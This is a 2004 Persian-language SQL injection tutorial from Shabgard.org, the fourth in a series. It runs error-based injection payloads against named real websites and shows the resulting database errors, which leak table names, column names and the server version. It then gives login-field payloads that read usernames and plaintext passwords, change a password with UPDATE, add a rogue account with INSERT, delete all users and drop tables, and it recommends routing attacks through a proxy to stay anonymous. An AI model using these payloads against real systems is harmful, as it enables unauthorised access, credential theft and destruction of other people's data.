SQL Injection (Lesson 4)
(Using SQL Server)

فقط خواهش می کنم حالا که قراره با مثال جلو بریم به هیچ عنوان از اطلاعات سایتهای هدف سو ء استفاده نکنید و یجوری باشه که منم تحت فشار نباشم و این مثالها ادامه داشته باشه.

مثالهایی از درس 3:(فکر نمی کنم نیازی به توضیح باشه)

getting table names and column names

http://www.iribnews.ir/Full_fa.asp?news_id=85175734060657 سایت هدف

http://www.iribnews.ir/Full_fa.asp?news_id='

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/Full_fa.asp, line 29

http://www.iribnews.ir/Full_fa.asp?news_id='%20'%20having%201=1--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'iribnews_fa.Lead' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/Full_fa.asp, line 29

iribnews_fa= the table name
Lead= the first column name

http://www.iribnews.ir/Full_fa.asp?news_id="%20group%20by%20iribnews_fa.Lead%20having%201=1--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'iribnews_fa.Title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/Full_fa.asp, line 29

http://www.iribnews.ir/Full_fa.asp?news_id="%20group%20by%20iribnews_fa.Lead,iribnews_fa.Title%20having%201=1--

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'iribnews_fa.date' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/Full_fa.asp, line 29

به همین ترتیب اطلاعات مربوط به ستونها را بدست می آوریم
=>
iribnews_fa.Lead , iribnews_fa.Title , iribnews_fa.date , iribnews_fa.time , iribnews_fa.fa_date , iribnews_fa.news_num iribnews_fa.Type , iribnews_fa.code , iribnews_fa.prm_news , iribnews_fa.sec_news , iribnews_fa.keyword , iribnews_fa.content , iribnews_fa.ext_link1 , iribnews_fa.ext_link2 , iribnews_fa.ext_link3 , iribnews_fa.pic1_path , iribnews_fa.pic2_path , iribnews_fa.pic3_path , iribnews_fa.video , iribnews_fa.Audio1_path , iribnews_fa.Audio2_path , iribnews_fa.Audio3_path , iribnews_fa.Video1_path , iribnews_fa.Video2_path , iribnews_fa.Video3_path

getting column types

http://www.iribnews.ir/Full_fa.asp?news_id='%20'%20union%20select%20sum(title)%20from%20iribnews_fa--

Microsoft OLE DB Provider for SQL Server error '80040e07'

The sum or average aggregate operation cannot take a varchar data type as an argument.

/Full_fa.asp, line 29

=> is non-numerical

تو این مثال دیگه از این جلوتر نریم بهتره

اینم یه مثال برای گرفتن اطلاعات سرور:

getting the version number of server

http://www.abong.org.br/novosite/institucional/associadas_pagpubli4.asp?midia1=Folhetos'%20UNION%20ALL%20SELECT%20null,null,null,@@version,null,null,null,null,null,null,null,null,9999--

Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

خوب دوستان قبل از شروع درس جدید باید به یه نکته توجه کنید اونم استفاده از Proxy در موقع inject کردن,از اینجا به بعد این کار برای ناشناس موندن لازمه.

۱۹۲,۱۱۵,۱۰۶,۲۳۶:۸۰۸۰

اگه ناشناس موندن براتون خیلی مهم من http://www.stayinvisible.com رو برای مطالعه پیشنهاد می کنم.

خوب ما الان هم table names رو داریم و هم column names و هم column types پس شروع می کنیم

فرض کنید:

table names=users
column names=username , password

Getting Username & Password from table:

- Login: ' union select min (name), 1,1 from users where username > 'a';--

Microsoft OLE DB provider for ODBC driver error '80040e07'
[Microsoft][ODBC SQL server driver][SQL server] syntax error converting
the varchar value 'ehsan2' to a column of data type int.
/login.asp, line 28

با استفاده از دستور فوق می توان به username های موجود در database پی برد.ehsan2

برای پیدا کردن یوزر های دیگر مطابق زیر عمل می کنیم

- Login: ' union select min (name), 1,1 from users where username > 'ehsan2' ; --

Microsoft OLE DB provider for ODBC driver error '80040e07'
[Microsoft][ODBC SQL server driver][SQL server] syntax error converting
the varchar value 'ahmadi' to a column of data type int.
/login.asp, line 28

خوب الان ما username رو داریم.هم می تونیم از دستور UPDATE استفاده کنیم و password رو عوض کنیم و یا مطابق زیر عمل کنیم.(دستور UPDATE در ادامه توضیح داده می شود)

- Login: ' union select password, 1,1 from users where username ='ehsan2' ; --

Microsoft OLE DB provider for ODBC driver error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server] syntax error converting

the character value ‘frft23’ to a column of a data type Int.

با دقت در Error بالا مشاهده می کنیم پسورد ehsan2 برابر frft23 می باشد.

البته راههایی وجود داره که میشه کل username و password رو یکجا مشاهده کرد که در درسهای بعدی به آن می پردازیم.

برای تغییر مقادیر مورد نظر در database از دستور **UPDATE** استفاده می کنیم.

- Login: ' UPDATE users set users.password = '46f7fk' where (users.username = 'ehsan2'); --
- Pass:

با استفاده از دستور بالا پسورد یوزر ehsan2 رو به 46f7fk تغییر می دهیم.

Then Login with :

- Login: ehsan2
- Pass: 46f7fk

با استفاده از دستور **INSERT** شما می تونید مقادیر مورد نظر رو به database اضافه کنید.

- Login: ' insert into users(users.username,users.password) values ('ali','123456'); --
- Pass:

با استفاده از دستور بالا می تونیم یه username به اسم ali و با پسورد 123456 ایجاد کنیم.

Then Login with :

- Login: ali
- Pass: 123456

با استفاده از دستور **Delete** مقادیر مورد نظر رو از database حذف می کنیم.

- Login: ehsan2' delete from users; --

دستور فوق یوزر ehsan2 رو حذف می کند.

با استفاده از دستور **Drop** می توان database رو حذف کرد,البته استفاده از این دستور توصیه نمی شود.

- Login: ' drop table users; --

سعی کردم مطالب مفید و مختصر باشه. چندتا ریزه کاری تو این دستورات هست که ممکنه باهاش برخورد کنید. به هر حال در آینده سعی می کنم به این ریزه کاری ها هم بپردازم.

Author: Mouse@Shabgard.org

Copyright © 2004 Shabgard.org. All rights reserved.
http://isun.Shabgard.org